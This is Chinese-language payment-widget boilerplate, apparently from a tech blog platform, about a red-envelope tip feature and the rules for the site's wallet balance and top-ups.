成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值